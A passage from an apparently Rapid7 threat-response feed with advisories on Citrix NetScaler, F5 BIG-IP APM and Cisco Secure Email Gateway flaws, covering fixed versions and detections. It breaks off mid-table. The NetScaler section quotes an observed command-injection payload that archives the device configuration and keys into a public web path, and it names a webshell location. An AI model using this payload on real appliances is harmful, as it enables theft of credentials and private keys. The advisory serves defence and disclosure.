CVE-2026-88771 is low, meaning reliable RCE is likely against all vulnerable NetScaler appliances regardless of their configuration. This is especially concerning due to the prevalence of NetScaler appliances.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-88772 is a memory corruption vulnerability and requires the DTLS feature to be enabled on the appliance. The vendor has indicated that the attack complexity is high, meaning achieving reliable exploitation may be more difficult for an attacker than that of CVE-2026-88771.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The U.S. Cybersecurity and Infrastructure Security Agency (CISA) </span><a href="https://www.cisa.gov/news-events/alerts/2026/09/27/critical-zero-day-vulnerabilities-exploited-citrix-netscaler-adc-gateway"><span style='font-size: undefined;'>reports</span></a><span style='font-size: undefined;'> active exploitation is occurring globally, and added both CVE-2026-88771 and CVE-2026-88772 to its Known Exploited Vulnerabilities (KEV) catalog on September 27, 2026. Multiple CERTs worldwide have begun </span><a href="https://www.hkcert.org/security-bulletin/citrix-products-multiple-vulnerabilities_20260928"><span style='font-size: undefined;'>issuing</span></a><span style='font-size: undefined;'> </span><a href="https://cert.europa.eu/publications/security-advisories/2026-014/"><span style='font-size: undefined;'>alerts</span></a><span style='font-size: undefined;'> due to the critical nature of this situation.</span></p><p><span style='font-size: undefined;'>On October 4, 2026, Citrix published an </span><a href="https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX697174"><span style='font-size: undefined;'>advisory</span></a><span style='font-size: undefined;'> for a new NetScaler vulnerability, CVE-2026-88779. This new vulnerability was disclosed as being exploited in-the-wild as a zero-day prior to disclosure, and was </span><a href="https://www.cisa.gov/news-events/alerts/2026/10/04/cisa-adds-one-known-exploited-vulnerability-catalog"><span style='font-size: undefined;'>added</span></a><span style='font-size: undefined;'> to CISA KEV the same day. CVE-2026-88779 affects NetScaler appliances that have a SAML service provider (SP) or identity provider (IdP) configured. Attackers can send repeated attempts, where each attempt will crash the SAML service, and upon the sixth crash the appliance will reboot.</span></p><p><span style='font-size: undefined;'>Rapid7 has published a technical analysis of CVE-2026-88771 and CVE-2026-88772 </span><a href="https://www.rapid7.com/blog/post/ra-netscaler-intrusions-chaining-cve-2026-88771-and-cve-2026-88779/"><span style='font-size: undefined;'>here</span></a><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The following table summarizes all nine vulnerabilities:</span></p><p></p><table><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>CVE</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>CVSSv4</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Vulnerability</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Exploitation confirmed</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-88771/"><span style='font-size: undefined;'>CVE-2026-88771</span></a></p></td><td><p style="direction: ltr;"><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"><span style='font-size: undefined;'>9.5 (Critical)</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Improper input validation leading to RCE in a default configuration (CWE-20)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Yes (</span><a href="https://www.cisa.gov/news-events/alerts/2026/09/27/critical-zero-day-vulnerabilities-exploited-citrix-netscaler-adc-gateway"><span style='font-size: undefined;'>CISA</span></a><span style='font-size: undefined;'>)</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-88772/"><span style='font-size: undefined;'>CVE-2026-88772</span></a></p></td><td><p style="direction: ltr;"><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"><span style='font-size: undefined;'>9.5 (Critical)</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Memory overflow leading to RCE in a DTLS configuration (CWE-119)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Yes (</span><a href="https://www.cisa.gov/news-events/alerts/2026/09/27/critical-zero-day-vulnerabilities-exploited-citrix-netscaler-adc-gateway"><span style='font-size: undefined;'>CISA</span></a><span style='font-size: undefined;'>)</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-88773/"><span style='font-size: undefined;'>CVE-2026-88773</span></a></p></td><td><p style="direction: ltr;"><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N"><span style='font-size: undefined;'>9.3 (Critical)</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>HTTP request smuggling (CWE-444)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>No</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-88774/"><span style='font-size: undefined;'>CVE-2026-88774</span></a></p></td><td><p style="direction: ltr;"><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:H/SI:H/SA:N"><span style='font-size: undefined;'>7.0 (High)</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Policy bypass involving URL expressions (CWE-16)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>No</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-88775/"><span style='font-size: undefined;'>CVE-2026-88775</span></a></p></td><td><p style="direction: ltr;"><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N"><span style='font-size: undefined;'>8.8 (High)</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Memory overflow in Gateway or AAA configuration (CWE-119)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>No</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-88776/"><span style='font-size: undefined;'>CVE-2026-88776</span></a></p></td><td><p style="direction: ltr;"><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N"><span style='font-size: undefined;'>8.8 (High)</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Memory overflow in load balancer of type Oracle configuration (CWE-119)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>No</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-88777/"><span style='font-size: undefined;'>CVE-2026-88777</span></a></p></td><td><p style="direction: ltr;"><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N"><span style='font-size: undefined;'>8.8 (High)</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Memory overflow in a LB/CS or CGNAT-LSN/NAT64 configuration (CWE-119)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>No</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-88778/"><span style='font-size: undefined;'>CVE-2026-88778</span></a></p></td><td><p style="direction: ltr;"><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:H/SC:L/SI:L/SA:L"><span style='font-size: undefined;'>8.8 (High)</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Predictable TCP initial sequence numbers (CWE-342)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>No</span></p></td></tr><tr><td><p><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-88779/"><span style='font-size: undefined;'>CVE-2026-88779</span></a></p></td><td><p><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"><span style='font-size: undefined;'>8.7 (High)</span></a></p></td><td><p><span style='font-size: undefined;'>Memory overflow in SAML processing (CWE-119)</span></p></td><td><p><span style='font-size: undefined;'>Yes (</span><a href="https://www.cisa.gov/news-events/alerts/2026/10/04/cisa-adds-one-known-exploited-vulnerability-catalog"><span style='font-size: undefined;'>CISA</span></a><span style='font-size: undefined;'>)</span></p></td></tr></tbody></table><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The following vendor-supplied updates are available to remediate the eight vulnerabilities disclosed on September 27. Rapid7 strongly recommends updating affected NetScaler appliances on an </span><span style='font-size: undefined;'><strong>emergency basis</strong></span><span style='font-size: undefined;'>, outside of normal patching cycles, and </span><a href="https://support.citrix.com/external/article/CTX694799/steps-to-take-if-netscaler-adc-is-suspec.html"><span style='font-size: undefined;'>investigating</span></a><span style='font-size: undefined;'> vulnerable appliances for signs of compromise.</span></p><p></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Citrix NetScaler ADC and Citrix NetScaler Gateway </span><span style='font-size: undefined;'><span data-type='inlineCode'>14.1-73.37</span></span><span style='font-size: undefined;'> and later releases.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Citrix NetScaler ADC and Citrix NetScaler Gateway </span><span style='font-size: undefined;'><span data-type='inlineCode'>13.1-64.23</span></span><span style='font-size: undefined;'> and later releases of </span><span style='font-size: undefined;'><span data-type='inlineCode'>13.1</span></span><span style='font-size: undefined;'>.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Citrix NetScaler ADC </span><span style='font-size: undefined;'><span data-type='inlineCode'>14.1-FIPS</span></span><span style='font-size: undefined;'>, </span><span style='font-size: undefined;'><span data-type='inlineCode'>14.1-73.37 FIPS</span></span><span style='font-size: undefined;'> and later releases of </span><span style='font-size: undefined;'><span data-type='inlineCode'>14.1-FIPS</span></span><span style='font-size: undefined;'>.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Citrix NetScaler ADC </span><span style='font-size: undefined;'><span data-type='inlineCode'>13.1-FIPS</span></span><span style='font-size: undefined;'> and </span><span style='font-size: undefined;'><span data-type='inlineCode'>13.1-NDcPP 13.1.37.279</span></span><span style='font-size: undefined;'> and later releases of </span><span style='font-size: undefined;'><span data-type='inlineCode'>13.1-FIPS</span></span><span style='font-size: undefined;'> and </span><span style='font-size: undefined;'><span data-type='inlineCode'>13.1-NDcPP</span></span><span style='font-size: undefined;'>.</span></p></li></ul><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>For the latest mitigation guidance, please refer to the vendor </span><a href="https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX697096"><span style='font-size: undefined;'>advisory</span></a><span style='font-size: undefined;'>.</span></p><p><span style='font-size: undefined;'></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>To remediate CVE-2026-88779 which was disclosed on October 4, the following vendor-supplied update is available, and supersedes the above vendor supplied updates.</span></p><p></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Citrix NetScaler ADC and Citrix NetScaler Gateway </span><span style='font-size: undefined;'><span data-type='inlineCode'>14.1-73.41</span></span><span style='font-size: undefined;'> and later releases.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Citrix NetScaler ADC and Citrix NetScaler Gateway </span><span style='font-size: undefined;'><span data-type='inlineCode'>13.1-64.28</span></span><span style='font-size: undefined;'> and later releases of </span><span style='font-size: undefined;'><span data-type='inlineCode'>13.1</span></span><span style='font-size: undefined;'>.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Citrix NetScaler ADC </span><span style='font-size: undefined;'><span data-type='inlineCode'>14.1-FIPS</span></span><span style='font-size: undefined;'>, </span><span style='font-size: undefined;'><span data-type='inlineCode'>14.1-73.41 FIPS</span></span><span style='font-size: undefined;'> and later releases of </span><span style='font-size: undefined;'><span data-type='inlineCode'>14.1-FIPS</span></span><span style='font-size: undefined;'>.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Citrix NetScaler ADC </span><span style='font-size: undefined;'><span data-type='inlineCode'>13.1-FIPS</span></span><span style='font-size: undefined;'> and </span><span style='font-size: undefined;'><span data-type='inlineCode'>13.1-NDcPP 13.1.37.282</span></span><span style='font-size: undefined;'> and later releases of </span><span style='font-size: undefined;'><span data-type='inlineCode'>13.1-FIPS</span></span><span style='font-size: undefined;'> and </span><span style='font-size: undefined;'><span data-type='inlineCode'>13.1-NDcPP</span></span><span style='font-size: undefined;'>.</span></p></li></ul><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>For the latest mitigation guidance for CVE-2026-88779, please refer to the vendor </span><a href="https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX697174"><span style='font-size: undefined;'>advisory</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Rapid7 MDR observed exploitation</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 observed the earliest exploitation attempts of CVE-2026-88771 at </span><span style='font-size: undefined;'><strong>2026-09-20T14:28:43 UTC</strong></span><span style='font-size: undefined;'>. Only two attempts were seen on September 20, which does not indicate widespread exploitation at that time.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The command injection observed on September 20 is captured below:</span></p><pre language="html">Timestamp: 2026-09-20T14:28:43.000Z
Account: wfr
Result: FAILED_BAD_LOGIN
Source_ip: 149.104.78.208
Source_data: "Authentication is rejected for WFR pitboss PPE nsppe missed too many heartbeats NSPPE;tar${IFS}czf$IFS/var/netscaler/gui/vpn/c$IFS-C$IFS/flash${IFS}nsconfig; (client ip : 149.104.78.208 , vserver ip: &lt;redacted&gt;  ), extended error, if any : "</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>This payload executes </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>tar czf /var/netscaler/gui/vpn/c -C /flash nsconfig</span></span><span style='font-size: undefined;'>, which creates a gzipped archive named </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>c</span></span><span style='font-size: undefined;'> in </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/var/netscaler/gui/vpn/</span></span><span style='font-size: undefined;'> containing the full contents of </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/flash/nsconfig</span></span><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>This location is significant because the Gateway serves </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/var/netscaler/gui/vpn/</span></span><span style='font-size: undefined;'> publicly at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>https://&lt;gateway&gt;/vpn/</span></span><span style='font-size: undefined;'>. Once the command runs, an unauthenticated request to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>GET https://&lt;gateway&gt;/vpn/c</span></span><span style='font-size: undefined;'> will return the archive to </span><span style='font-size: undefined;'><strong>any requester, with no login required</strong></span><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/flash/nsconfig</span></span><span style='font-size: undefined;'> directory contains material that would give an attacker significant follow-on access, including:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>ns.conf</strong></span><span style='font-size: undefined;'>, the full device configuration, including encrypted passwords for the nsroot account and other admin accounts, as well as bind passwords for LDAP, RADIUS, and TACACS</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>ssl/</strong></span><span style='font-size: undefined;'>, containing SSL certificates and private keys</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>SSH host keys, license files, and HA sync settings</span></p></li></ul><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>As of this writing, Rapid7 has identified </span><span style='font-size: undefined;'><strong>two organizations compromised</strong></span><span style='font-size: undefined;'> through exploitation of CVE-2026-88771. The first compromise involved the command injection detailed above and the other involved a webshell placed at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/var/netscaler/logon/LogonPoint/custom/.ctxs.receiver</span></span><span style='font-size: undefined;'> (SHA256: </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ed082f744f035035900f67edf438f2f7d0528ac501234f63d476d65273cdb9a1</span></span><span style='font-size: undefined;'>), observed on</span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>September 24.</span></p><h2 style="direction: ltr;">Rapid7 customers</h2><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Exposure Command, InsightVM, and Nexpose</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Exposure Command, InsightVM, and Nexpose customers can assess exposure to all the CVEs listed in the blog with authenticated vulnerability checks available in the September 28 content release. A vulnerability check for CVE-2026-88779 is available in the October 6 content release.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Intelligence Hub</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Customers leveraging Rapid7’s Intelligence Hub can track the latest developments surrounding CVE-2026-88771 and CVE-2026-88772, including indicators of compromise (IOCs) and Suricata detection rules.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Managed Detection Response (MDR)</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The following detection rules are available for InsightIDR and Managed Detection Response (MDR) customers:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Suspicious Web Request -  Citrix NetScaler ADC and Gateway Appliance Exploitation (CVE-2026-88771)</span></p></li></ul><h2 style="direction: ltr;">Updates</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>September 28, 2026:</strong></span><span style='font-size: undefined;'> Initial publication.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>September 29, 2026:</strong></span><span style='font-size: undefined;'> Suricata detection rules for CVE-2026-88771 are now available in Intelligence Hub.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>September 30, 2026</strong></span><span style='font-size: undefined;'>: Added Rapid7 MDR Observed Exploitation section to include details of the cases flagged by the SOC team.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>September 30, 2026</strong></span><span style='font-size: undefined;'>: Added Rapid7 MDR customers section.</span></p></li><li><span style='font-size: undefined;'><strong>October 5, 2026:</strong></span><span style='font-size: undefined;'> Updated blog to include the new CVE-2026-88779 vulnerability.</span></li><li><span style='font-size: undefined;'><strong>October 6, 2026: </strong></span><span style='font-size: undefined;'>Updated Rapid7 customers section to reflect availability of a check for CVE-2026-88779.</span></li><li><span style='font-size: undefined;'><strong>October 19, 2026: </strong></span><span style='font-size: undefined;'>Updated Overview section to link to a Rapid7 Analysis blog.</span></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/etr-zero-day-exploitation-of-citrix-netscaler-adc-and-gateway-cve-2026-88771-and-cve-2026-88772</link>
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      <category><![CDATA[Zero-Day]]></category>
      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Emerging Threats]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Mon, 28 Sep 2026 10:05:00 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
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      <title><![CDATA[CVE-2026-94127: Critical Unauthenticated RCE in F5 BIG-IP APM]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On September 22, 2026, F5 published a security </span><a href="https://my.f5.com/manage/s/article/K000162605"><span style='font-size: undefined;'>advisory</span></a><span style='font-size: undefined;'> for </span><a href="https://nvd.nist.gov/vuln/detail/cve-2026-94127"><span style='font-size: undefined;'>CVE-2026-94127</span></a><span style='font-size: undefined;'>, a critical heap-based buffer overflow vulnerability affecting F5 BIG-IP Access Policy Manager (APM). The vulnerability has a CVSS v3.1 score of 9.8. An unauthenticated attacker with network access to an affected virtual server may be able to achieve remote code execution (RCE) by sending specifically crafted traffic.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>BIG-IP APM provides identity-aware access control for applications and other corporate resources and can integrate with authentication technologies including OAuth, OpenID Connect, and SAML. CVE-2026-94127 is not exposed in a default configuration: exploitation requires a BIG-IP virtual server with both an APM access policy and an OAuth profile configured. Because affected BIG-IP systems may process traffic at an organization's network edge, organizations using this configuration should prioritize remediation.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The vulnerability affects the data plane and does not expose the BIG-IP control plane. BIG-IP systems operating in Appliance mode are also affected.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>F5 lists the following affected release trains and corresponding fixed hotfixes:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>BIG-IP 21.1.0: versions prior to Hotfix-BIGIP-21.1.0.2.0.30.22-ENG</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>BIG-IP 17.5.0: versions prior to Hotfix-BIGIP-17.5.1.9.0.160.12-ENG</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>BIG-IP 17.1.0: versions prior to Hotfix-BIGIP-17.1.3.5.0.41.14-ENG</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>As of September 22, 2026, CVE-2026-94127 has been added to the </span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search=CVE-2026-94127&amp;field_date_added_wrapper=all&amp;field_cve=&amp;sort_by=field_date_added&amp;items_per_page=20&amp;url="><span style='font-size: undefined;'>CISA KEV</span></a><span style='font-size: undefined;'> while a publicly available proof of concept was not confirmed.</span></p><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Organizations running affected F5 BIG-IP deployments should apply the appropriate F5 hotfix as soon as operationally feasible, particularly where a vulnerable APM and OAuth configuration is reachable from untrusted networks.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>F5 lists the following remediation versions:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>BIG-IP 21.1.0: update to Hotfix-BIGIP-21.1.0.2.0.30.22-ENG or later.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>BIG-IP 17.5.0: update to Hotfix-BIGIP-17.5.1.9.0.160.12-ENG or later.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>BIG-IP 17.1.0: update to Hotfix-BIGIP-17.1.3.5.0.41.14-ENG or later.</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>Administrators should first determine whether a BIG-IP APM access policy and an OAuth profile are configured together on a virtual server, since this configuration is required for exposure.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For organizations that cannot immediately apply the applicable update, F5 provides an iRule workaround through F5 Support. Customers should open a support case with F5 to obtain the vendor-provided workaround and follow F5's implementation guidance.</span></p><h2 style="direction: ltr;">Rapid7 customers</h2><h3 style="direction: ltr;">Exposure Command, Vulnerability Management, and Nexpose</h3><p style="direction: ltr;"><span style='font-size: undefined;'>Exposure Command, Vulnerability Management, Nexpose customers can assess exposure to CVE-2026-94127 using vulnerability checks expected to be available in today’s (September 23) content release.</span></p><h2 style="direction: ltr;">Updates</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>September 22, 2026: Initial publication.</span></p></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/etr-cve-2026-94127-critical-unauthenticated-rce-in-f5-big-ip-apm</link>
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      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Rapid7 Intelligence]]></category>
      <category><![CDATA[Vulnerability Management]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Wed, 23 Sep 2026 08:43:39 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
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      <title><![CDATA[CVE-2026-76461: Critical Cisco Secure Email Gateway Vulnerability Exploited in the Wild]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On September 14, 2026, Cisco published a security </span><a href="https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-esa-inj-2bLVGmhX"><span style='font-size: undefined;'>advisory</span></a><span style='font-size: undefined;'> for </span><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-76461/"><span style='font-size: undefined;'>CVE-2026-76461</span></a><span style='font-size: undefined;'>, a critical SQL injection vulnerability affecting Cisco AsyncOS Software for Cisco Secure Email Gateway. The vulnerability has a reported CVSS v3.1 base score of </span><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"><span style='font-size: undefined;'>9.8</span></a><span style='font-size: undefined;'> and could allow an unauthenticated, remote attacker to execute arbitrary commands with root privileges on an affected appliance.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Cisco Secure Email Gateway, formerly known as IronPort Email Security Appliance, is an enterprise email security product that inspects inbound and outbound email for threats including phishing, malware, spam, and business email compromise. Because affected gateways process externally delivered email as part of their normal operation, exploitation does not require access to an administrative interface or authentication. An attacker can reportedly trigger the vulnerability by sending a specially crafted email through a vulnerable gateway.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-76461 was </span><a href="https://www.cisa.gov/news-events/alerts/2026/09/14/cisa-adds-one-known-exploited-vulnerability-catalog"><span style='font-size: undefined;'>added</span></a><span style='font-size: undefined;'> to CISA's Known Exploited Vulnerabilities (</span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search=CVE-2026-76461&amp;field_date_added_wrapper=all&amp;field_cve=&amp;sort_by=field_date_added&amp;items_per_page=20&amp;url="><span style='font-size: undefined;'>KEV</span></a><span style='font-size: undefined;'>) catalog on the same day as the vendor disclosed the vulnerability, indicating that CVE-2026-76461 was exploited as a zero-day prior to disclosure. Cisco noted that their PSIRT became aware of active exploitation in September 2026. At the time of publication, there is no public proof-of-concept exploit code available, and no attribution for the current threat actor activity.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>On October 14, 2026, Cisco </span><a href="https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-esa-afw-zqYJkjxp"><span style='font-size: undefined;'>published a critical security advisory</span></a><span style='font-size: undefined;'> for </span><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-76519"><span style='font-size: undefined;'>CVE-2026-76519</span></a><span style='font-size: undefined;'>, an arbitrary file write vulnerability affecting physical and virtual Cisco Secure Email Gateway appliances. The vulnerability is a relative path traversal (</span><a href="https://cwe.mitre.org/data/definitions/23.html"><span style='font-size: undefined;'>CWE-23</span></a><span style='font-size: undefined;'>) and has a CVSSv3.1 score of </span><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"><span style='font-size: undefined;'>9.8</span></a><span style='font-size: undefined;'>. An unauthenticated, remote attacker can exploit the vulnerability by sending a crafted email attachment through an affected appliance, resulting in arbitrary command execution with root privileges on the underlying operating system. While the vendor advisory for CVE-2026-76519 was published a month after that of CVE-2026-76461, the fixed versions for both vulnerabilities remain the same, therefore customers who have updated to a fixed version for CVE-2026-76461 are expected to also be remediated against CVE-2026-76519.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>According to Cisco, CVE-2026-76519 is being actively exploited in the wild; Cisco PSIRT became aware of the activity in October 2026. Cisco also identified indicators of possible compromise on Cisco Secure Email Cloud devices and has contacted affected customers directly. CVE-2026-76519 was </span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-76519"><span style='font-size: undefined;'>added to CISA's Known Exploited Vulnerabilities catalog</span></a><span style='font-size: undefined;'> on October 14, with a remediation due date of October 17, 2026.</span></p><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Organizations running Cisco Secure Email Gateway should prioritize upgrading to a vendor-supplied fixed version on an emergency basis, outside of normal patching cycles.</span></p><table><colgroup data-width='500'><col style="width:71.57190635451505%"/><col style="width:28.428093645484946%"/></colgroup><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Affected Version</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Fixed Version</strong></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>15.5 and earlier</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>15.5.5-014</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>16.0</span></p></td><td><p style="direction: 